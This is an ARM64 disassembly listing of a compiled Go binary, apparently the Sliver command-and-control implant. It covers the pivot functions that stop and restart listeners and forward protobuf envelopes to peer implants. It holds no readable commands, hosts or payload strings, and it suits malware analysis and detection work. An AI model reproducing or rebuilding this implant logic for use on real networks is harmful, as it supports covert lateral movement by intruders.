    0042b468ldr x6, [sp+64]
    0042b46cldrsb x27, [x6]
    0042b470ldr x7, [x6+32]
    0042b474ldr x6, [x6+40]
    0042b478str x7, [sp+208]
    0042b47cstr x6, [sp+216]
    0042b480ldr x6, [sp+64]
    0042b484ldrsb x27, [x6]
    0042b488ldr x3, [x6+56]
    0042b48cldr x4, [x6+64]
    0042b490ldr x5, [x6+72]
    0042b494str x3, [sp+184]
    0042b498str x4, [sp+192]
    0042b49cstr x5, [sp+200]
    0042b4a0ldr x26, [sp+104]
    0042b4a4ldr x6, [x26]
    0042b4a8ldr x2, [sp+72]
    0042b4acldr x0, [sp+208]
    0042b4b0ldr x1, [sp+216]
    0042b4b4blr x6
    0042b4b8str x0, [sp+264]
    0042b4bcstr x1, [sp+248]
    0042b4c0str x2, [sp+256]
    0042b4c4ldr x6, [sp+264]
    0042b4c8str x6, [sp+304]
    0042b4ccldr x6, [sp+248]
    0042b4d0ldr x7, [sp+256]
    0042b4d4str x6, [sp+288]
    0042b4d8str x7, [sp+296]
    0042b4dcldr x6, [sp+304]
    0042b4e0str x6, [sp+80]
    0042b4e4ldr x6, [sp+296]
    0042b4e8ldr x7, [sp+288]
    0042b4ecstr x7, [sp+88]
    0042b4f0str x6, [sp+96]
    0042b4f4cbnz x7, 0x42b4fc
    0042b4f8b 0x42b5c0
    0042b4fc
    0042b4fcloc_42b4fc:
    0042b4fcstp xzr, xzr, [sp+232]
    0042b500add x5, sp, 232
    0042b504str x5, [sp+152]
    0042b508ldr x5, [sp+88]
    0042b50cldr x6, [sp+96]
    0042b510str x5, [sp+136]
    0042b514str x6, [sp+144]
    0042b518str x5, [sp+128]
    0042b51cldr x5, [sp+128]
    0042b520cbnz x5, 0x42b528
    0042b524b 0x42b538
    0042b528
    0042b528loc_42b528:
    0042b528ldr x5, [sp+128]
    0042b52cldr x5, [x5+8]
    0042b530str x5, [sp+128]
    0042b534b 0x42b53c
    0042b538
    0042b538loc_42b538:
    0042b538b 0x42b53c
    0042b53c
    0042b53cloc_42b53c:
    0042b53cldr x5, [sp+152]
    0042b540ldrsb x27, [x5]
    0042b544ldr x6, [sp+128]
    0042b548ldr x7, [sp+144]
    0042b54cstr x6, [x5]
    0042b550adrp x27, 0x620000
    0042b554ldr w6, [x27+3056]
    0042b558cbz w6, 0x42b560
    0042b55cb 0x42b564
    0042b560
    0042b560loc_42b560:
    0042b560b 0x42b578
    0042b564
    0042b564loc_42b564:
    0042b564bl runtime.gcWriteBarrier2
    0042b568str x7, [x25]
    0042b56cldr x6, [x5+8]
    0042b570str x6, [x25+8]
    0042b574b 0x42b578
    0042b578
    0042b578loc_42b578:
    0042b578str x7, [x5+8]
    0042b57cldr x2, [sp+152]
    0042b580ldrsb x27, [x2]
    0042b584b 0x42b588
    0042b588
    0042b588loc_42b588:
    0042b588str x2, [sp+160]
    0042b58corr x4, xzr, 1
    0042b590str x4, [sp+168]
    0042b594str x4, [sp+176]
    0042b598adrp x0, 0x297000
    0042b59cadd x0, x0, 2848
    0042b5a0movz x1, 38
    0042b5a4mov x3, x4
    0042b5a8bl log.Printf
    0042b5acstrb wzr, [sp+56]
    0042b5b0mov x0, xzr
    0042b5b4ldp x29, x30, [sp-8]
    0042b5b8add sp, sp, 320
    0042b5bcret x30
    0042b5c0
    0042b5c0loc_42b5c0:
    0042b5c0ldr x1, [sp+80]
    0042b5c4str x1, [sp+280]
    0042b5c8adrp x0, 0x206000
    0042b5ccadd x0, x0, 3648
    0042b5d0bl runtime.newobject
    0042b5d4str x0, [sp+120]
    0042b5d8adrp x1, 0
    0042b5dcadd x1, x1, 1664
    0042b5e0str x1, [x0]
    0042b5e4ldr x1, [sp+280]
    0042b5e8ldr x2, [sp+120]
    0042b5ecldrsb x27, [x2]
    0042b5f0adrp x27, 0x620000
    0042b5f4ldr w3, [x27+3056]
    0042b5f8cbz w3, 0x42b600
    0042b5fcb 0x42b604
    0042b600
    0042b600loc_42b600:
    0042b600b 0x42b618
    0042b604
    0042b604loc_42b604:
    0042b604bl runtime.gcWriteBarrier2
    0042b608str x1, [x25]
    0042b60cldr x3, [x2+8]
    0042b610str x3, [x25+8]
    0042b614b 0x42b618
    0042b618
    0042b618loc_42b618:
    0042b618str x1, [x2+8]
    0042b61cldr x0, [sp+120]
    0042b620bl runtime.newproc
    0042b624ldr x0, [sp+80]
    0042b628bl github.com/bishopfox/sliver/implant/sliver/pivots.AddListener
    0042b62cb 0x42b634
    0042b630
    0042b630loc_42b630:
    0042b630b 0x42b634
    0042b634
    0042b634loc_42b634:
    0042b634orr x0, xzr, 1
    0042b638strb w0, [sp+56]
    0042b63cldp x29, x30, [sp-8]
    0042b640add sp, sp, 320
    0042b644ret x30
    0042b648
    0042b648loc_42b648:
    0042b648adrp x2, 0x1df000
    0042b64cadd x2, x2, 3520
    0042b650bl runtime.panicdottypeE
    0042b654hint
    0042b658
    0042b658loc_42b658:
    0042b658stp x0, x1, [sp+8]
    0042b65cstp x2, x3, [sp+24]
    0042b660mov x3, x30
    0042b664bl runtime.morestack.abi0
    0042b668ldp x0, x1, [sp+8]
    0042b66cldp x2, x3, [sp+24]
    0042b670b 0x42b3a0
    0042b674udf 0
    0042b678udf 0
    0042b67cudf 0
    0042b3a0
    0042b680
    0042b680github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1.gowrap1(void)
    0042b680ldr x16, [x28+16]
    0042b684subs xzr, sp, x16
    0042b688b.ls 0x42b6b8
    0042b68cstr x30, [sp-32]!
    0042b690stur x29, [sp-8]
    0042b694sub x29, sp, 8
    0042b698ldr x16, [x28+32]
    0042b69ccbnz x16, 0x42b6c4
    0042b6a0
    0042b6a0loc_42b6a0:
    0042b6a0ldr x0, [x26+8]
    0042b6a4str x0, [sp+16]
    0042b6a8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start
    0042b6acldur x29, [sp-8]
    0042b6b0ldr x30, [sp], 32
    0042b6b4ret x30
    0042b6b8
    0042b6b8loc_42b6b8:
    0042b6b8mov x3, x30
    0042b6bcbl runtime.morestack.abi0
    0042b6c0b 0x42b680
    0042b6c4
    0042b6c4loc_42b6c4:
    0042b6c4ldr x17, [x16]
    0042b6c8add x20, sp, 40
    0042b6ccsubs xzr, x20, x17
    0042b6d0b.ne 0x42b6a0
    0042b6d4add x20, sp, 8
    0042b6d8str x20, [x16]
    0042b6dcb 0x42b6a0
    0042b680
    0042b6e0
    0042b6e0github.com/bishopfox/sliver/implant/sliver/pivots.StopAllListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.StopAllListeners(void)
    0042b6e0ldr x16, [x28+16]
    0042b6e4subs xzr, sp, x16
    0042b6e8b.ls 0x42b7d8
    0042b6ecstr x30, [sp-64]!
    0042b6f0stur x29, [sp-8]
    0042b6f4sub x29, sp, 8
    0042b6f8adrp x27, 0x5e2000
    0042b6fcldr x0, [x27+16]
    0042b700adrp x1, 0x2ad000
    0042b704add x1, x1, 3160
    0042b708bl sync.(*Map).Range
    0042b70cadrp x27, 0x5e2000
    0042b710ldr x2, [x27+16]
    0042b714adrp x27, 0x620000
    0042b718ldr w3, [x27+3056]
    0042b71ccbz w3, 0x42b724
    0042b720b 0x42b728
    0042b724
    0042b724loc_42b724:
    0042b724b 0x42b740
    0042b728
    0042b728loc_42b728:
    0042b728bl runtime.gcWriteBarrier2
    0042b72cstr x2, [x25]
    0042b730adrp x27, 0x5e2000
    0042b734ldr x1, [x27+24]
    0042b738str x1, [x25+8]
    0042b73cb 0x42b740
    0042b740
    0042b740loc_42b740:
    0042b740adrp x27, 0x5e2000
    0042b744str x2, [x27+24]
    0042b748adrp x0, 0x215000
    0042b74cadd x0, x0, 2144
    0042b750bl runtime.newobject
    0042b754str x0, [sp+48]
    0042b758adrp x27, 0x620000
    0042b75cldr w1, [x27+3056]
    0042b760cbz w1, 0x42b768
    0042b764b 0x42b76c
    0042b768
    0042b768loc_42b768:
    0042b768b 0x42b788
    0042b76c
    0042b76cloc_42b76c:
    0042b76cstr x0, [sp+40]
    0042b770mov x1, x0
    0042b774adrp x0, 0x215000
    0042b778add x0, x0, 2144
    0042b77cbl runtime.wbZero
    0042b780ldr x0, [sp+40]
    0042b784b 0x42b788
    0042b788
    0042b788loc_42b788:
    0042b788stp xzr, xzr, [x0]
    0042b78cstp xzr, xzr, [x0+16]
    0042b790stp xzr, xzr, [x0+32]
    0042b794ldr x0, [sp+48]
    0042b798adrp x27, 0x620000
    0042b79cldr w1, [x27+3056]
    0042b7a0cbz w1, 0x42b7a8
    0042b7a4b 0x42b7ac
    0042b7a8
    0042b7a8loc_42b7a8:
    0042b7a8b 0x42b7c4
    0042b7ac
    0042b7acloc_42b7ac:
    0042b7acbl runtime.gcWriteBarrier2
    0042b7b0str x0, [x25]
    0042b7b4adrp x27, 0x5e2000
    0042b7b8ldr x1, [x27+16]
    0042b7bcstr x1, [x25+8]
    0042b7c0b 0x42b7c4
    0042b7c4
    0042b7c4loc_42b7c4:
    0042b7c4adrp x27, 0x5e2000
    0042b7c8str x0, [x27+16]
    0042b7ccldur x29, [sp-8]
    0042b7d0ldr x30, [sp], 64
    0042b7d4ret x30
    0042b7d8
    0042b7d8loc_42b7d8:
    0042b7d8mov x3, x30
    0042b7dcbl runtime.morestack_noctxt.abi0
    0042b7e0b 0x42b6e0
    0042b7e4udf 0
    0042b7e8udf 0
    0042b7ecudf 0
    0042b6e0
    0042b7f0
    0042b7f0github.com/bishopfox/sliver/implant/sliver/pivots.StopListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.StopListener(uint32 id)
    0042b7f0ldr x16, [x28+16]
    0042b7f4subs xzr, sp, x16
    0042b7f8b.ls 0x42b8c0
    0042b7fcstr x30, [sp-112]!
    0042b800stur x29, [sp-8]
    0042b804sub x29, sp, 8
    0042b808str w0, [sp+120]
    0042b80cstp xzr, xzr, [sp+72]
    0042b810ldr w3, [sp+120]
    0042b814str w3, [sp+44]
    0042b818adrp x27, 0x5e2000
    0042b81cldr x0, [x27+16]
    0042b820adrp x1, 0x1ca000
    0042b824add x1, x1, 3328
    0042b828add x2, sp, 44
    0042b82cbl sync.(*Map).Load
    0042b830str x0, [sp+72]
    0042b834str x1, [sp+80]
    0042b838strb w2, [sp+42]
    0042b83cldr x3, [sp+72]
    0042b840ldr x4, [sp+80]
    0042b844str x3, [sp+88]
    0042b848str x4, [sp+96]
    0042b84cldrb w3, [sp+42]
    0042b850strb w3, [sp+43]
    0042b854ldr x3, [sp+88]
    0042b858ldr x4, [sp+96]
    0042b85cstr x3, [sp+48]
    0042b860str x4, [sp+56]
    0042b864ldrb w3, [sp+43]
    0042b868strb w3, [sp+41]
    0042b86ctbnz w3, 0, 0x42b874
    0042b870b 0x42b8a0
    0042b874
    0042b874loc_42b874:
    0042b874ldr x0, [sp+48]
    0042b878ldr x3, [sp+56]
    0042b87cadrp x1, 0x1fd000
    0042b880add x1, x1, 2528
    0042b884subs xzr, x0, x1
    0042b888b.eq 0x42b890
    0042b88cb 0x42b8b0
    0042b890
    0042b890loc_42b890:
    0042b890str x3, [sp+64]
    0042b894mov x0, x3
    0042b898bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop
    0042b89cb 0x42b8a4
    0042b8a0
    0042b8a0loc_42b8a0:
    0042b8a0b 0x42b8a4
    0042b8a4
    0042b8a4loc_42b8a4:
    0042b8a4ldur x29, [sp-8]
    0042b8a8ldr x30, [sp], 112
    0042b8acret x30
    0042b8b0
    0042b8b0loc_42b8b0:
    0042b8b0adrp x2, 0x1df000
    0042b8b4add x2, x2, 3520
    0042b8b8bl runtime.panicdottypeE
    0042b8bchint
    0042b8c0
    0042b8c0loc_42b8c0:
    0042b8c0str w0, [sp+8]
    0042b8c4mov x3, x30
    0042b8c8bl runtime.morestack_noctxt.abi0
    0042b8ccldr w0, [sp+8]
    0042b8d0b 0x42b7f0
    0042b8d4udf 0
    0042b8d8udf 0
    0042b8dcudf 0
    0042b7f0
    0042b8e0
    0042b8e0github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer: ; void github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope)
    0042b8e0ldr x16, [x28+16]
    0042b8e4sub x17, sp, 336
    0042b8e8subs xzr, x17, x16
    0042b8ecb.ls 0x42bdc4
    0042b8f0sub x20, sp, 464
    0042b8f4stp x29, x30, [x20-8]
    0042b8f8add sp, x20, 0
    0042b8fcsub x29, sp, 8
    0042b900str x0, [sp+472]
    0042b904strb wzr, [sp+62]
    0042b908stp xzr, xzr, [sp+88]
    0042b90cadrp x0, 0x260000
    0042b910add x0, x0, 96
    0042b914bl runtime.newobject
    0042b918str x0, [sp+384]
    0042b91cadrp x27, 0x620000
    0042b920ldr w1, [x27+3056]
    0042b924cbz w1, 0x42b92c
    0042b928b 0x42b930
    0042b92c
    0042b92cloc_42b92c:
    0042b92cb 0x42b94c
    0042b930
    0042b930loc_42b930:
    0042b930str x0, [sp+152]
    0042b934mov x1, x0
    0042b938adrp x0, 0x260000
    0042b93cadd x0, x0, 96
    0042b940bl runtime.wbZero
    0042b944ldr x0, [sp+152]
    0042b948b 0x42b94c
    0042b94c
    0042b94cloc_42b94c:
    0042b94cmov x20, x0
    0042b950adr x27, 16
    0042b954stp x29, x27, [sp-24]
    0042b958sub x29, sp, 24
    0042b95cbl fn_87cf0
    0042b960sub x29, sp, 8
    0042b964ldr x5, [sp+384]
    0042b968str x5, [sp+104]
    0042b96cstr x5, [sp+128]
    0042b970ldr x5, [sp+472]
    0042b974ldrsb x27, [x5]
    0042b978ldr x0, [x5+24]
    0042b97cldr x1, [x5+32]
    0042b980ldr x2, [x5+40]
    0042b984str x0, [sp+360]
    0042b988str x1, [sp+368]
    0042b98cstr x2, [sp+376]
    0042b990ldr x4, [sp+128]
    0042b994adrp x3, 0x2e9000
    0042b998add x3, x3, 1248
    0042b99cbl google.golang.org/protobuf/proto.Unmarshal
    0042b9a0str x0, [sp+112]
    0042b9a4str x1, [sp+120]
    0042b9a8cbnz x0, 0x42b9b0
    0042b9acb 0x42ba84
    0042b9b0
    0042b9b0loc_42b9b0:
    0042b9b0stp xzr, xzr, [sp+440]
    0042b9b4add x5, sp, 440
    0042b9b8str x5, [sp+328]
    0042b9bcldr x5, [sp+112]
    0042b9c0ldr x6, [sp+120]
    0042b9c4str x5, [sp+312]
    0042b9c8str x6, [sp+320]
    0042b9ccstr x5, [sp+304]
    0042b9d0ldr x5, [sp+304]
    0042b9d4cbnz x5, 0x42b9dc
    0042b9d8b 0x42b9ec
    0042b9dc
    0042b9dcloc_42b9dc:
    0042b9dcldr x5, [sp+304]
    0042b9e0ldr x5, [x5+8]
    0042b9e4str x5, [sp+304]
    0042b9e8b 0x42b9f0
    0042b9ec
    0042b9ecloc_42b9ec:
    0042b9ecb 0x42b9f0
    0042b9f0
    0042b9f0loc_42b9f0:
    0042b9f0ldr x5, [sp+328]
    0042b9f4ldrsb x27, [x5]
    0042b9f8ldr x6, [sp+304]
    0042b9fcldr x7, [sp+320]
    0042ba00str x6, [x5]
    0042ba04adrp x27, 0x620000
    0042ba08ldr w6, [x27+3056]
    0042ba0ccbz w6, 0x42ba14
    0042ba10b 0x42ba18
    0042ba14
    0042ba14loc_42ba14:
    0042ba14b 0x42ba2c
    0042ba18
    0042ba18loc_42ba18:
    0042ba18bl runtime.gcWriteBarrier2
    0042ba1cstr x7, [x25]
    0042ba20ldr x6, [x5+8]
    0042ba24str x6, [x25+8]
    0042ba28b 0x42ba2c
    0042ba2c
    0042ba2cloc_42ba2c:
    0042ba2cstr x7, [x5+8]
    0042ba30ldr x2, [sp+328]
    0042ba34ldrsb x27, [x2]
    0042ba38b 0x42ba3c
    0042ba3c
    0042ba3cloc_42ba3c:
    0042ba3cstr x2, [sp+336]
    0042ba40orr x4, xzr, 1
    0042ba44str x4, [sp+344]
    0042ba48str x4, [sp+352]
    0042ba4cadrp x0, 0x297000
    0042ba50add x0, x0, 321
    0042ba54movz x1, 37
    0042ba58mov x3, x4
    0042ba5cbl log.Printf
    0042ba60strb wzr, [sp+62]
    0042ba64ldr x1, [sp+112]
    0042ba68ldr x2, [sp+120]
    0042ba6cstr x1, [sp+88]
    0042ba70str x2, [sp+96]
    0042ba74ldrb w0, [sp+62]
    0042ba78ldp x29, x30, [sp-8]
    0042ba7cadd sp, sp, 464
    0042ba80ret x30
    0042ba84
    0042ba84loc_42ba84:
    0042ba84ldr x5, [sp+104]
    0042ba88str x5, [sp+128]
    0042ba8cstp xzr, xzr, [sp+440]
    0042ba90add x5, sp, 440
    0042ba94str x5, [sp+272]
    0042ba98ldr x5, [sp+128]
    0042ba9cstr x5, [sp+264]
    0042baa0ldr x6, [sp+272]
    0042baa4ldrsb x27, [x6]
    0042baa8adrp x7, 0x250000
    0042baacadd x7, x7, 800
    0042bab0str x7, [x6]
    0042bab4adrp x27, 0x620000
    0042bab8ldr w7, [x27+3056]
    0042babccbz w7, 0x42bac4
    0042bac0b 0x42bac8
    0042bac4
    0042bac4loc_42bac4:
    0042bac4b 0x42badc
    0042bac8
    0042bac8loc_42bac8:
    0042bac8bl runtime.gcWriteBarrier2
    0042baccstr x5, [x25]
    0042bad0ldr x7, [x6+8]
    0042bad4str x7, [x25+8]
    0042bad8b 0x42badc
    0042badc
    0042badcloc_42badc:
    0042badcstr x5, [x6+8]
    0042bae0ldr x2, [sp+272]
    0042bae4ldrsb x27, [x2]
    0042bae8b 0x42baec
    0042baec
    0042baecloc_42baec:
    0042baecstr x2, [sp+280]
    0042baf0orr x4, xzr, 1
    0042baf4str x4, [sp+288]
    0042baf8str x4, [sp+296]
    0042bafcadrp x0, 0x28c000
    0042bb00add x0, x0, 942
    0042bb04movz x1, 21
    0042bb08mov x3, x4
    0042bb0cbl log.Printf
    0042bb10stp xzr, xzr, [sp+424]
    0042bb14ldr x0, [sp+104]
    0042bb18bl github.com/bishopfox/sliver/implant/sliver/pivots.findNextPeerID
    0042bb1cstr x0, [sp+80]
    0042bb20str x1, [sp+424]
    0042bb24str x2, [sp+432]
    0042bb28ldr x5, [sp+80]
    0042bb2cstr x5, [sp+72]
    0042bb30str x1, [sp+136]
    0042bb34str x2, [sp+144]
    0042bb38ldr x5, [sp+72]
    0042bb3cstr x5, [sp+64]
    0042bb40str x1, [sp+112]
    0042bb44str x2, [sp+120]
    0042bb48cbnz x1, 0x42bb50
    0042bb4cb 0x42bc24
    0042bb50
    0042bb50loc_42bb50:
    0042bb50stp xzr, xzr, [sp+440]
    0042bb54add x5, sp, 440
    0042bb58str x5, [sp+232]
    0042bb5cldr x5, [sp+112]
    0042bb60ldr x6, [sp+120]
    0042bb64str x5, [sp+216]
    0042bb68str x6, [sp+224]
    0042bb6cstr x5, [sp+208]
    0042bb70ldr x5, [sp+208]
    0042bb74cbnz x5, 0x42bb7c
    0042bb78b 0x42bb8c
    0042bb7c
    0042bb7cloc_42bb7c:
    0042bb7cldr x5, [sp+208]
    0042bb80ldr x5, [x5+8]
    0042bb84str x5, [sp+208]
    0042bb88b 0x42bb90
    0042bb8c
    0042bb8cloc_42bb8c:
    0042bb8cb 0x42bb90
    0042bb90
    0042bb90loc_42bb90:
    0042bb90ldr x5, [sp+232]
    0042bb94ldrsb x27, [x5]
    0042bb98ldr x6, [sp+208]
    0042bb9cldr x7, [sp+224]
    0042bba0str x6, [x5]
    0042bba4adrp x27, 0x620000
    0042bba8ldr w6, [x27+3056]
    0042bbaccbz w6, 0x42bbb4
    0042bbb0b 0x42bbb8
    0042bbb4
    0042bbb4loc_42bbb4:
    0042bbb4b 0x42bbcc
    0042bbb8
    0042bbb8loc_42bbb8:
    0042bbb8bl runtime.gcWriteBarrier2
    0042bbbcstr x7, [x25]
    0042bbc0ldr x6, [x5+8]
    0042bbc4str x6, [x25+8]
    0042bbc8b 0x42bbcc
    0042bbcc
    0042bbccloc_42bbcc:
    0042bbccstr x7, [x5+8]
    0042bbd0ldr x2, [sp+232]
    0042bbd4ldrsb x27, [x2]
    0042bbd8b 0x42bbdc
    0042bbdc
    0042bbdcloc_42bbdc:
    0042bbdcstr x2, [sp+240]
    0042bbe0orr x4, xzr, 1
    0042bbe4str x4, [sp+248]
    0042bbe8str x4, [sp+256]
    0042bbecadrp x0, 0x292000
    0042bbf0add x0, x0, 2928
    0042bbf4orr x1, xzr, 31
    0042bbf8mov x3, x4
    0042bbfcbl log.Printf
    0042bc00strb wzr, [sp+62]
    0042bc04ldr x1, [sp+112]
    0042bc08ldr x2, [sp+120]
    0042bc0cstr x1, [sp+88]
    0042bc10str x2, [sp+96]
    0042bc14ldrb w0, [sp+62]
    0042bc18ldp x29, x30, [sp-8]
    0042bc1cadd sp, sp, 464
    0042bc20ret x30
    0042bc24
    0042bc24loc_42bc24:
    0042bc24strb wzr, [sp+63]
    0042bc28stp xzr, xzr, [sp+392]
    0042bc2cstp xzr, xzr, [sp+408]
    0042bc30add x2, sp, 392
    0042bc34str x2, [sp+200]
    0042bc38ldrsb x27, [x2]
    0042bc3cadrp x3, 0
    0042bc40add x3, x3, 3552
    0042bc44str x3, [x2]
    0042bc48ldrsb x27, [x2]
    0042bc4cldr x3, [sp+64]
    0042bc50str x3, [x2+8]
    0042bc54ldrsb x27, [x2]
    0042bc58ldr x3, [sp+472]
    0042bc5cadrp x27, 0x620000
    0042bc60ldr w4, [x27+3056]
    0042bc64cbz w4, 0x42bc6c
    0042bc68b 0x42bc70
    0042bc6c
    0042bc6cloc_42bc6c:
    0042bc6cb 0x42bc84
    0042bc70
    0042bc70loc_42bc70:
    0042bc70bl runtime.gcWriteBarrier2
    0042bc74str x3, [x25]
    0042bc78ldr x4, [x2+16]
    0042bc7cstr x4, [x25+8]
    0042bc80b 0x42bc84
    0042bc84
    0042bc84loc_42bc84:
    0042bc84str x3, [x2+16]
    0042bc88ldrsb x27, [x2]
    0042bc8cadrp x27, 0x620000
    0042bc90ldr w3, [x27+3056]
    0042bc94cbz w3, 0x42bc9c
    0042bc98b 0x42bca0
    0042bc9c
    0042bc9cloc_42bc9c:
    0042bc9cb 0x42bcb8
    0042bca0
    0042bca0loc_42bca0:
    0042bca0bl runtime.gcWriteBarrier2
    0042bca4add x3, sp, 63
    0042bca8str x3, [x25]
    0042bcacldr x4, [x2+24]
    0042bcb0str x4, [x25+8]
    0042bcb4b 0x42bcb8
    0042bcb8
    0042bcb8loc_42bcb8:
    0042bcb8add x3, sp, 63
    0042bcbcstr x3, [x2+24]
    0042bcc0adrp x27, 0x5e2000
    0042bcc4ldr x0, [x27+16]
    0042bcc8ldr x1, [sp+200]
    0042bcccbl sync.(*Map).Range
    0042bcd0ldrb w2, [sp+63]
    0042bcd4tbnz w2, 0, 0x42bcdc
    0042bcd8b 0x42bd00
    0042bcdc
    0042bcdcloc_42bcdc:
    0042bcdcldrb w3, [sp+63]
    0042bce0strb w3, [sp+62]
    0042bce4stp xzr, xzr, [sp+88]
    0042bce8ldrb w0, [sp+62]
    0042bcecmov x1, xzr
    0042bcf0mov x2, xzr
    0042bcf4ldp x29, x30, [sp-8]
    0042bcf8add sp, sp, 464
    0042bcfcret x30
    0042bd00
    0042bd00loc_42bd00:
    0042bd00stp xzr, xzr, [sp+440]
    0042bd04add x1, sp, 440
    0042bd08str x1, [sp+168]
    0042bd0cldr x0, [sp+64]
    0042bd10bl runtime.convT64
    0042bd14str x0, [sp+160]
    0042bd18ldr x1, [sp+168]
    0042bd1cldrsb x27, [x1]
    0042bd20adrp x2, 0x1ca000
    0042bd24add x2, x2, 3392
    0042bd28str x2, [x1]
    0042bd2cadrp x27, 0x620000
    0042bd30ldr w2, [x27+3056]
    0042bd34cbz w2, 0x42bd3c
    0042bd38b 0x42bd40
    0042bd3c
    0042bd3cloc_42bd3c:
    0042bd3cb 0x42bd54
    0042bd40
    0042bd40loc_42bd40:
    0042bd40bl runtime.gcWriteBarrier2
    0042bd44str x0, [x25]
    0042bd48ldr x5, [x1+8]
    0042bd4cstr x5, [x25+8]
    0042bd50b 0x42bd54
    0042bd54
    0042bd54loc_42bd54:
    0042bd54str x0, [x1+8]
    0042bd58ldr x2, [sp+168]
    0042bd5cldrsb x27, [x2]
    0042bd60b 0x42bd64
    0042bd64
    0042bd64loc_42bd64:
    0042bd64str x2, [sp+176]
    0042bd68orr x4, xzr, 1
    0042bd6cstr x4, [sp+184]
    0042bd70str x4, [sp+192]
    0042bd74adrp x0, 0x292000
    0042bd78add x0, x0, 502
    0042bd7corr x1, xzr, 30
    0042bd80mov x3, x4
    0042bd84bl log.Printf
    0042bd88adrp x0, 0x288000
    0042bd8cadd x0, x0, 3584
    0042bd90orr x1, xzr, 14
    0042bd94bl errors.New
    0042bd98str x0, [sp+424]
    0042bd9cstr x1, [sp+432]
    0042bda0strb wzr, [sp+62]
    0042bda4ldr x1, [sp+424]
    0042bda8ldr x2, [sp+432]
    0042bdacstr x1, [sp+88]
    0042bdb0str x2, [sp+96]
    0042bdb4ldrb w0, [sp+62]
    0042bdb8ldp x29, x30, [sp-8]
    0042bdbcadd sp, sp, 464
    0042bdc0ret x30
    0042bdc4
    0042bdc4loc_42bdc4:
    0042bdc4str x0, [sp+8]
    0042bdc8mov x3, x30
    0042bdccbl runtime.morestack_noctxt.abi0
    0042bdd0ldr x0, [sp+8]
    0042bdd4b 0x42b8e0
    0042bdd8udf 0
    0042bddcudf 0
    0042b8e0
    0042bde0
    0042bde0github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer.func1(interface {} key, interface {} value)
    0042bde0ldr x16, [x28+16]
    0042bde4sub x17, sp, 32
    0042bde8subs xzr, x17, x16
    0042bdecb.ls 0x42bf48
    0042bdf0str x30, [sp-160]!
    0042bdf4stur x29, [sp-8]
    0042bdf8sub x29, sp, 8
    0042bdfcstr x0, [sp+168]
    0042be00str x1, [sp+176]
    0042be04str x2, [sp+184]
    0042be08str x3, [sp+192]
    0042be0cldr x3, [x26+8]
    0042be10str x3, [sp+40]
    0042be14add x3, x26, 16
    0042be18str x3, [sp+144]
    0042be1cldr x3, [x26+24]
    0042be20str x3, [sp+136]
    0042be24strb wzr, [sp+36]
    0042be28ldr x0, [sp+184]
    0042be2cldr x3, [sp+192]
    0042be30adrp x1, 0x1fd000
    0042be34add x1, x1, 2528
    0042be38subs xzr, x0, x1
    0042be3cb.eq 0x42be44
    0042be40b 0x42bf38
    0042be44
    0042be44loc_42be44:
    0042be44str x3, [sp+80]
    0042be48stp xzr, xzr, [sp+88]
    0042be4cldr x3, [sp+40]
    0042be50str x3, [sp+48]
    0042be54ldr x3, [sp+80]
    0042be58ldrsb x27, [x3]
    0042be5cldr x0, [x3+24]
    0042be60str x0, [sp+128]
    0042be64adrp x1, 0x1ca000
    0042be68add x1, x1, 3392
    0042be6cadd x2, sp, 48
    0042be70bl sync.(*Map).Load
    0042be74str x0, [sp+88]
    0042be78str x1, [sp+96]
    0042be7cstrb w2, [sp+39]
    0042be80ldr x3, [sp+88]
    0042be84ldr x4, [sp+96]
    0042be88str x3, [sp+104]
    0042be8cstr x4, [sp+112]
    0042be90ldrb w3, [sp+39]
    0042be94strb w3, [sp+38]
    0042be98ldr x3, [sp+104]
    0042be9cldr x4, [sp+112]
    0042bea0str x3, [sp+56]
    0042bea4str x4, [sp+64]
    0042bea8ldrb w3, [sp+38]
    0042beacstrb w3, [sp+37]
    0042beb0tbnz w3, 0, 0x42beb8
    0042beb4b 0x42bf10
    0042beb8
    0042beb8loc_42beb8:
    0042beb8ldr x0, [sp+56]
    0042bebcldr x3, [sp+64]
    0042bec0adrp x1, 0x255000
    0042bec4add x1, x1, 2080
    0042bec8subs xzr, x0, x1
    0042beccb.eq 0x42bed4
    0042bed0b 0x42bf2c
    0042bed4
    0042bed4loc_42bed4:
    0042bed4str x3, [sp+72]
    0042bed8ldrsb x27, [x3]
    0042bedcldr x2, [x3+72]
    0042bee0str x2, [sp+120]
    0042bee4ldr x1, [sp+144]
    0042bee8ldr x0, [sp+120]
    0042beecbl runtime.chansend1
    0042bef0ldr x2, [sp+136]
    0042bef4orr x3, xzr, 1
    0042bef8strb w3, [x2]
    0042befcstrb wzr, [sp+36]
    0042bf00mov x0, xzr
    0042bf04ldur x29, [sp-8]
    0042bf08ldr x30, [sp], 160
    0042bf0cret x30
    0042bf10
    0042bf10loc_42bf10:
    0042bf10ldr x1, [sp+136]
    0042bf14ldrb w1, [x1]
    0042bf18eor x0, x1, 1
    0042bf1cstrb w0, [sp+36]
    0042bf20ldur x29, [sp-8]
    0042bf24ldr x30, [sp], 160
    0042bf28ret x30
    0042bf2c
    0042bf2cloc_42bf2c:
    0042bf2cadrp x2, 0x1df000
    0042bf30add x2, x2, 3520
    0042bf34bl runtime.panicdottypeE
    0042bf38
    0042bf38loc_42bf38:
    0042bf38adrp x2, 0x1df000
    0042bf3cadd x2, x2, 3520
    0042bf40bl runtime.panicdottypeE
    0042bf44hint
    0042bf48
    0042bf48loc_42bf48:
    0042bf48stp x0, x1, [sp+8]
    0042bf4cstp x2, x3, [sp+24]
    0042bf50mov x3, x30
    0042bf54bl runtime.morestack.abi0
    0042bf58ldp x0, x1, [sp+8]
    0042bf5cldp x2, x3, [sp+24]
    0042bf60b 0x42bde0
    0042bf64udf 0
    0042bf68udf 0
    0042bf6cudf 0
    0042bde0
    0042bf70
